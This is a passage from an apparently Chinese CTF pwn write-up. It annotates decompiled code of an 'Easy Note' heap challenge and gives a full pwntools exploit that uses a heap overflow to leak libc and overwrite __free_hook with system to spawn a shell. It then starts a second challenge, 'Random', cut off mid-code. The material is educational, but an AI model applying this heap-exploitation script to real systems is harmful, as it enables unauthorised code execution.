envp);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Easy Note.&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      menu();</span><br><span class="line">      v3 = getnum();</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">4</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      edit();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v3 &gt; <span class="number">4</span> )</span><br><span class="line">    &#123;</span><br><span class="line">LABEL_13:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Invalid!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> ( v3 == <span class="number">3</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      show();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 &gt; <span class="number">3</span> )</span><br><span class="line">        <span class="keyword">goto</span> LABEL_13;</span><br><span class="line">      <span class="keyword">if</span> ( v3 == <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        add();</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( v3 != <span class="number">2</span> )</span><br><span class="line">          <span class="keyword">goto</span> LABEL_13;</span><br><span class="line">        delete();</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>菜单</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">menu</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1.Add.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2.Delete.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;3.Show.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;4.Edit.&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Choice: &quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>添加</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">add</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v0; <span class="comment">// rbx</span></span><br><span class="line">  __int64 v1; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// [rsp+0h] [rbp-20h]</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [rsp+4h] [rbp-1Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Input your idx:&quot;</span>);<span class="comment">//输入id</span></span><br><span class="line">  v3 = getnum();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Size:&quot;</span>);<span class="comment">//输入大小</span></span><br><span class="line">  v4 = getnum();</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)v4 &gt; <span class="number">0x100</span> )<span class="comment">//不能大于0x100</span></span><br><span class="line">  &#123;</span><br><span class="line">    LODWORD(v1) = <span class="built_in">puts</span>(<span class="string">&quot;Invalid!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    heaplist[v3] = <span class="built_in">malloc</span>(<span class="number">0x20</span>uLL);<span class="comment">//首先在heaplist[id]开辟一个0x20的空间</span></span><br><span class="line">    <span class="keyword">if</span> ( !heaplist[v3] )<span class="comment">//当这个空间申请失败，报错</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Malloc Error!&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    v0 = heaplist[v3];</span><br><span class="line">    *(_QWORD *)(v0 + <span class="number">16</span>) = <span class="built_in">malloc</span>(v4);<span class="comment">//在他的chunk的0x10位后，存入一个指针，指针指向开辟的一个chunk</span></span><br><span class="line">    *(_QWORD *)(heaplist[v3] + <span class="number">32LL</span>) = &amp;<span class="built_in">puts</span>;<span class="comment">//在他的0x20位后，存入一个puts函数的地址</span></span><br><span class="line">    <span class="keyword">if</span> ( !*(_QWORD *)(heaplist[v3] + <span class="number">16LL</span>) )<span class="comment">//heap的0x10的chunk申请失败，报错</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Malloc Error!&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    sizelist[v3] = v4;<span class="comment">//管理size大小的list</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Name: &quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)read(<span class="number">0</span>, (<span class="type">void</span> *)heaplist[v3], <span class="number">0x10</span>uLL) )<span class="comment">//往chunk里面写入0x10的name</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Something error!&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Content:&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)read(<span class="number">0</span>, *(<span class="type">void</span> **)(heaplist[v3] + <span class="number">16LL</span>), sizelist[v3]) )<span class="comment">//往chunk里面存放的指针的chunk里面写入content内容</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Error!&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Done!&quot;</span>);</span><br><span class="line">    v1 = heaplist[v3];</span><br><span class="line">    *(_DWORD *)(v1 + <span class="number">24</span>) = <span class="number">1</span>;<span class="comment">//设置chunk的0x18为1</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> v1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>删除</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">_QWORD *<span class="title function_">delete</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _QWORD *result; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Input your idx:&quot;</span>);</span><br><span class="line">  v1 = getnum();<span class="comment">//获取id</span></span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt;= <span class="number">0x10</span> &amp;&amp; *(_DWORD *)(heaplist[v1] + <span class="number">24LL</span>) )<span class="comment">//id不能大于16和他的24位的值为1</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">free</span>(*(<span class="type">void</span> **)(heaplist[v1] + <span class="number">16LL</span>));<span class="comment">//首先释放掉content</span></span><br><span class="line">    <span class="built_in">free</span>((<span class="type">void</span> *)heaplist[v1]);<span class="comment">//然后释放掉他自己</span></span><br><span class="line">    sizelist[v1] = <span class="number">0LL</span>;<span class="comment">//设置sizelist为空</span></span><br><span class="line">    *(_DWORD *)(heaplist[v1] + <span class="number">24LL</span>) = <span class="number">0</span>;<span class="comment">//设置使用位为0</span></span><br><span class="line">    *(_QWORD *)(heaplist[v1] + <span class="number">16LL</span>) = <span class="number">0LL</span>;<span class="comment">//设置指向的content chunk为0</span></span><br><span class="line">    result = heaplist;<span class="comment">//设置heaplist的id为空</span></span><br><span class="line">    heaplist[v1] = <span class="number">0LL</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Error idx!&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>查看</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">__int64 <span class="title function_">show</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Input your idx:&quot;</span>);</span><br><span class="line">  v1 = getnum();<span class="comment">//获取id</span></span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)v1 &lt; <span class="number">0x10</span> &amp;&amp; heaplist[v1] )<span class="comment">//不能大于16和不能为空</span></span><br><span class="line">  &#123;</span><br><span class="line">    (*(<span class="type">void</span> (__fastcall **)(_QWORD))(heaplist[v1] + <span class="number">32LL</span>))(heaplist[v1]);<span class="comment">//puts(name)</span></span><br><span class="line">    <span class="keyword">return</span> (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + <span class="number">32LL</span>))(*(_QWORD *)(heaplist[v1] + <span class="number">16LL</span>));<span class="comment">//puts(content)</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Error idx!&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">edit</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v1; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> nbytes; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Input your idx:&quot;</span>);</span><br><span class="line">  v1 = getnum();<span class="comment">//获取id</span></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Size:&quot;</span>);</span><br><span class="line">  nbytes = getnum();<span class="comment">//获取size</span></span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt;= <span class="number">0x10</span> &amp;&amp; heaplist[v1] &amp;&amp; nbytes &lt;= <span class="number">0x100</span> )</span><br><span class="line">    <span class="keyword">return</span> read(<span class="number">0</span>, *(<span class="type">void</span> **)(heaplist[v1] + <span class="number">16LL</span>), nbytes);<span class="comment">//往chunk里面写入小于0x100字节的数据</span></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Error idx!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以肯定存在堆溢出</p><p>puts遇到<code>\x00</code>​截断，我们知道</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image-20241112183135-5cz4moe.png" alt="image">​</p><p>我们用edit溢出获取puts，将name指向puts的地址，然后修改free_hook为system，然后内容为<code>/bin/sh</code>​</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">    port = <span class="number">1111</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">idx,size,name,content</span>):</span><br><span class="line">    sla(<span class="string">&quot;Choice: &quot;</span>,<span class="string">&quot;1&quot;</span>)</span><br><span class="line">    sla(<span class="string">&quot;Input your idx:&quot;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line">    sla(<span class="string">&quot;Size:&quot;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">    sla(<span class="string">&quot;Name: &quot;</span>,name)</span><br><span class="line">    sla(<span class="string">&quot;Content:&quot;</span>,content)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">idx,size,content</span>):</span><br><span class="line">    sla(<span class="string">&quot;Choice: &quot;</span>,<span class="string">&quot;4&quot;</span>)</span><br><span class="line">    sla(<span class="string">&quot;Input your idx:&quot;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line">    sla(<span class="string">&quot;Size:&quot;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">    s(content)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">idx</span>):</span><br><span class="line">    sla(<span class="string">&quot;Choice: &quot;</span>,<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    sla(<span class="string">&quot;Input your idx:&quot;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">free</span>(<span class="params">idx</span>):</span><br><span class="line">    sla(<span class="string">&quot;Choice: &quot;</span>,<span class="string">&quot;2&quot;</span>)</span><br><span class="line">    sla(<span class="string">&quot;Input your idx:&quot;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line"></span><br><span class="line">add(<span class="number">0</span>,<span class="number">0x10</span>,<span class="string">&quot;N1ght&quot;</span>,<span class="string">&quot;TestAAA&quot;</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x10</span>,<span class="string">&quot;AAA&quot;</span>,<span class="string">&quot;BBB&quot;</span>)</span><br><span class="line">edit(<span class="number">0</span>,<span class="number">0x31</span>,<span class="string">b&quot;A&quot;</span>*<span class="number">0x18</span> + p64(<span class="number">0x31</span>) + <span class="string">b&quot;\x00&quot;</span>*<span class="number">0x10</span> + <span class="string">b&#x27;\x80&#x27;</span>)</span><br><span class="line">show(<span class="number">1</span>)</span><br><span class="line">puts_addr = get_addr()</span><br><span class="line">success(<span class="string">&quot;puts_addr: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(puts_addr))</span><br><span class="line"><span class="comment"># rl(&quot;AAAAAAAAAAAAAAAA&quot;)</span></span><br><span class="line"><span class="comment"># second_heap = u64(p.recvuntil(&quot;\n&quot;,drop=True).ljust(8,b&#x27;\x00&#x27;))</span></span><br><span class="line"><span class="comment"># success(&quot;second_heap: &#123;:#x&#125;&quot;.format(second_heap))</span></span><br><span class="line"><span class="comment"># edit(1,0x50,b&quot;A&quot;*0x18 + p64(0x31) + b&quot;A&quot;*0x28)</span></span><br><span class="line"><span class="comment"># show(2)</span></span><br><span class="line">libc_base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">free_hook = libc_base + libc.symbols[<span class="string">&quot;__free_hook&quot;</span>]</span><br><span class="line">system = libc_base + libc.symbols[<span class="string">&quot;system&quot;</span>]</span><br><span class="line"><span class="comment"># debug()</span></span><br><span class="line">edit(<span class="number">0</span>,<span class="number">0x40</span>,<span class="number">0x18</span>*<span class="string">b&#x27;a&#x27;</span>+p64(<span class="number">0x31</span>)+<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x10</span>+p64(free_hook))</span><br><span class="line">edit(<span class="number">0</span>,<span class="number">0x40</span>,<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">edit(<span class="number">1</span>,<span class="number">0x40</span>,p64(system))</span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="GDOUCTF-2023-Random"><a href="#GDOUCTF-2023-Random" class="headerlink" title="[GDOUCTF 2023]Random"></a>[GDOUCTF 2023]Random</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *v3; <span class="comment">// rdi</span></span><br><span class="line">  __int64 v4; <span class="comment">// rdx</span></span><br><span class="line">  __int64 v5; <span class="comment">// rcx</span></span><br><span class="line">  __int64 v6; <span class="comment">// r8</span></span><br><span class="line">  __int64 v7; <span class="comment">// r9</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v8; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v10; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v11; <span class="comment">// [rsp+4h] [rbp-Ch]</span></span><br><span class="line">  <span class="type">int</span> v12; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>);</span><br><span class="line">  v3 = <span class="built_in">stderr</span>;</span><br><span class="line">  setbuf(<span class="built_in">stderr</span>, <span class="number">0LL</span>);</span><br><span class="line">  v12 = <span class="number">100</span>;</span><br><span class="line">  sandbox((__int64)v3, <span class="number">0LL</span>, v4, v5, v6, v7);</span><br><span class="line">  v8 = time(<span class="number">0LL</span>);</span><br><span class="line">  srand(v8);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; v12; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    v11 = rand() % <span class="number">50</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;please input a guess num:&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)__isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v10) == <span class="number">-1</span> )</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> ( getchar() != <span class="string">&#x27;\n&#x27;</span> )</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    <span class="keyword">if</span> ( v11 == v10 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;good guys&quot;</span>);</span><br><span class="line">      vulnerable();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;no,no,no&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span 